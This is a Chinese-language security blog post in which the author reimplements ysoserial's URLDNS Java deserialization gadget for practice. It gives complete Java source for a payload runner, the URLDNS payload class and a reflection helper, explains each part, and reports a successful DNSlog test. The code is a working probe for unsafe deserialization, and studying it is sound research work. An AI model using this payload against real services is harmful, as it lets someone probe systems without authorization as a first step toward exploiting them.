夜深了,想著還需要沉澱自己的基礎能力,於是乎沒有繼續往CC鏈裡爬,透過研究了一下ysoserial
裡的URLDNS鏈,決定自己嘗試寫一個類似卻有些不同的exp,使自己的基礎更加牢固一些,故有了今天這篇文章。
ysoserial裡的URLDNS鏈我就不再多說,有興趣的話自己可以去看下面這篇文章的分析
https://www.cnblogs.com/Gcker/p/17805397.html
主要講一下我自己構建EXP的思路
首先我是分3個類和一個實現介面來寫的,我們首先來看一下執行類
這裡我們先看一下PayloadRunner
類,這個類的主要功能是能夠執行實現了ObjectPayload
這個介面所有的類。
import com.ObjectPayload;
public class PayloadRunner {
public static void run(Class<? extends ObjectPayload<?>> clazz, String[] args) throws Exception{
ObjectPayload<?> payloadInstance = clazz.getDeclaredConstructor().newInstance();
Object result = payloadInstance.getObject(args.length > 0 ? args[0] : "預設引數");
System.out.println("執行和返回有效載荷:" + result);
}
public static void main(String[] args){
try {
run(URLDNS.class,args);
}catch (Exception e){
e.printStackTrace();
}
}
}
首先我先定義了一個run
方法,這裡接受一個Class
物件作為引數,這個Class
物件代表了一個實現了ObjectPayload
介面的類。這裡使用了泛型萬用字元<?>
,表示
可以接受任何ObjectPayload
的實現,透過clazz.getDeclaredConstructor().newInstance()
建立了介面實現的一個新例項。這行程式碼使用了反射來尋找無參構造
器並建立對象,當getObject
方法被呼叫時,傳入的引數由args
陣列決定。如果args
陣列非空,傳入第一個元素;如果為空,傳入“預設引數”。
public static void run(Class<? extends ObjectPayload<?>> clazz, String[] args) throws Exception{
ObjectPayload<?> payloadInstance = clazz.getDeclaredConstructor().newInstance();
Object result = payloadInstance.getObject(args.length > 0 ? args[0] : "預設引數");
System.out.println("執行和返回有效載荷:" + result);
}
下面main
方法這裡,呼叫URLDNS
這個類,也就是URL.class
這裡,這是ObjectPayload
介面的一個具體實現。然後透過一個try-catch塊,捕獲異常。
public static void main(String[] args){
try {
run(URLDNS.class, args);
} catch (Exception e) {
e.printStackTrace();
}
}
解析來是URLDNS
類,這裡其實和ysoserial
裡面定義的差不多,只做了稍微修改,整體程式碼如下:
import java.net.URL;
import java.net.URLStreamHandler;
import java.net.URLConnection;
import java.util.HashMap;
import com.ObjectPayload;
public class URLDNS implements ObjectPayload<HashMap<URL,String>>{
@Override
public HashMap<URL,String> getObject(String url) throws Exception{
URLStreamHandler handler = new SilentURLStreamHandler();
HashMap<URL, String > ht = new HashMap<URL, String>();
URL u = new URL(null,url,handler);
ht.put(u,url);
Reflections.setFieldValue(u,"hashCode",-1);
return ht;
}
private static class SilentURLStreamHandler extends URLStreamHandler{
@Override
protected URLConnection openConnection(URL u){
return null;
}
}
}
首先定義了介面實現,這裡的包主要是進行網路和集合的類,宣告瞭ObjectPayload<HashMap<URL, String>>
介面,指示這個類將返回一個HashMap
,其中包含
URL
和字串的對映
import java.net.URL;
import java.net.URLStreamHandler;
import java.net.URLConnection;
import java.util.HashMap;
import com.ObjectPayload;
public class URLDNS implements ObjectPayload<HashMap<URL,String>>{
這段程式碼URLStreamHandler handler = new SilentURLStreamHandler();
建立了SilentURLStreamHandler
的例項, SilentURLStreamHandler
是一
個內部類,用於在建立URL,物件時提供自定義的URLStreamHandler
。這個處理器的實現通常會避免進行實際的網路連線,瞭解過URLDNS鏈的師傅們都理解為什麼這裡
要避免實際網路連線,這裡就不,再說明了,可以看我之前的URLDNS鏈分析。透過將新建立的URL
物件和原始的字串url
對映儲存在HashMap
中,可以在需要時檢索和使
用這些資料。使用Reflections
類修改URL
物件的hashCode
欄位為-1,是為了能在URL.hashCode
這裡,實現DNS請求。
@Override
public HashMap<URL,String> getObject(String url) throws Exception{
URLStreamHandler handler = new SilentURLStreamHandler();
HashMap<URL, String> ht = new HashMap<>();
URL u = new URL(null, url, handler); // 建立一個URL物件,使用自定義的StreamHandler
ht.put(u, url); // 將URL和傳入的字串url儲存到HashMap中
Reflections.setFieldValue(u, "hashCode", -1); // 修改URL物件的hashCode欄位
return ht; // 返回包含URL物件和字串對映的HashMap
}
我在這裡定義了一個私有的SilentURLStreamHandler
類,並重寫了openConnection
方法,透過上面例項化重寫的SilentURLStreamHandler
類,確保不進行任何實
際的網路連線。
private static class SilentURLStreamHandler extends URLStreamHandler {
@Override
protected URLConnection openConnection(URL u) {
return null; // 防止開啟實際的網路連線
}
}
下面我們再來說第三個類
import java.lang.reflect.Field;
public class Reflections {
public static void setAccessible(Field field){
field.setAccessible(true);//將欄位宣告為true,使其可以透過反射訪問
}
public static Field getField(Class<?> clazz, String fileName) throws NoSuchFieldException{
Field field = clazz.getDeclaredField(fileName); //獲取任意類的宣告欄位
setAccessible(field); //呼叫setAccessible方法設定欄位會被訪問
return field; //返回field物件
}
public static void setFieldValue(Object obj, String fileName, Object value) throws Exception{
Field field = getField(obj.getClass(), fileName);
field.set(obj, value); //修改物件的值
}
}
這裡setAccessible(true)
是允許在進行反射程式碼查詢和修改的時候,透過這種方式保證在正常情況可以訪問私有或受保護欄位。
public static void setAccessible(Field field){
field.setAccessible(true); // 將欄位的訪問許可權設定為可訪問,無論其可見性如何
}
getField
方法,該方法透過類物件和欄位名獲取相應的Field
物件。如果欄位是私有的,這個方法會自動呼叫setAccessible
來修改欄位的訪問許可權,確保後續操作可
以無阻礙地進行。
public static Field getField(Class<?> clazz, String fieldName) throws NoSuchFieldException{
Field field = clazz.getDeclaredField(fieldName); // 獲取類中宣告的指定名稱的欄位
setAccessible(field); // 確保該欄位是可訪問的
return field; // 返回這個欄位物件
}
setFieldValue
方法結合了上述方法的功能,允許呼叫者為任何物件的任何欄位設定新值,即使是私有或受保護的欄位。
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field field = getField(obj.getClass(), fieldName); // 使用getField方法獲取欄位
field.set(obj, value); // 設定物件的欄位值
}
最後是介面定義
import org.reflections.Reflections;
import java.lang.reflect.Modifier;
import java.util.Set;
import java.util.stream.Collectors;
public interface ObjectPayload<T> {
T getObject(String command) throws Exception;
class Utils {
public static Set<Class<? extends ObjectPayload>> getPayloadClasses() {
Reflections reflections = new Reflections(ObjectPayload.class.getPackage().getName());
return reflections.getSubTypesOf(ObjectPayload.class)
.stream()
.filter(pc -> !(pc.isInterface() || Modifier.isAbstract(pc.getModifiers())))
.collect(Collectors.toSet());
}
}
}
這裡使用泛型T
使得介面可以靈活地適用於多種資料型別。實現這個介面的類將指定返回資料的具體型別,如HashMap<URL, String>
。
public interface ObjectPayload<T> {
T getObject(String command) throws Exception;
}
這裡使用Reflections
庫搜尋當前ObjectPayload
介面所在的包,找出所有實現了這個介面的類,使用Java Stream API過濾出那些既不是介面也不是抽象類的實現。這確
保了找到的類都是可以例項化的,最終將滿足條件的類收集到一個Set
集合中返回。Set
集合可以在應用程式中用於動態建立物件和呼叫方法。
class Utils {
public static Set<Class<? extends ObjectPayload>> getPayloadClasses() {
Reflections reflections = new Reflections(ObjectPayload.class.getPackage().getName());
return reflections.getSubTypesOf(ObjectPayload.class)
.stream()
.filter(pc -> !(pc.isInterface() || Modifier.isAbstract(pc.getModifiers())))
.collect(Collectors.toSet());
}
}
總結
這四段程式碼整體實現了一個簡單的URLDNS攻擊鏈,透過利用Java的動態載入和反射機制來執行特定的ObjectPayload
實現。主要流程包括:
1.透過ObjectPayload
介面和Utils
類定義和動態發現可用的payloads。
2.使用PayloadRunner
類來載入和執行具體的ObjectPayload
實現。
3.URLDNS
類實現了ObjectPayload
介面,透過建立特殊的URL
物件來觸發DNS查詢。
4.透過Reflections
類進行必要的反射操作,如修改物件屬性等。
1. URLDNS 類和ObjectPayload 介面
1.使用自定義的URLStreamHandler
(SilentURLStreamHandler
)建立了一個URL
物件。這個處理器被設計為不進行任何網路連線,但是這裡要注意,建立URL
物件時,如果URL的協議部分(如http)被解析,它可能會導致DNS解析,所以要設計返回為null
2.建立的URL
物件和原始URL字串被存入一個HashMap
並返回。
3.利用Reflections
類修改了URL
物件的hashCode
欄位。
2. PayloadRunner 類
1.PayloadRunner
類負責實際載入並執行URLDNS
類(或任何其他ObjectPayload
實現)。使用Java反射來建立URLDNS
類的例項並呼叫其getObject
方法:
2.傳入命令列引數作為URL,如果沒有提供引數,則使用預設引數。
3.執行getObject
方法後,結果(HashMap
包含URL和字串)被列印出來。
3. Utils 類和動態發現
Utils
類內部的getPayloadClasses
方法使用Reflections庫來動態發現所有實現了ObjectPayload
介面的類。這使得PayloadRunner
可以不依賴於硬編碼的類名,增加了系統的靈活性和擴充套件性。在實際應用中,可以根據配置或其他條件在執行時選擇不同的payload類來執行。
4. 完整的呼叫流程
當PayloadRunner
的main
方法被執行時,它會載入URLDNS
類,傳入可能來自命令列的引數,並執行getObject
方法。這個方法觸發了可能的DNS查詢,然後返回包含URL和字串的HashMap
。
實驗
我們在配置裡,配置DNSlog地址
可以看到成功請求到了,今天就到這裡了,如果有寫的不對的地方,歡迎各位師傅指正,睡覺~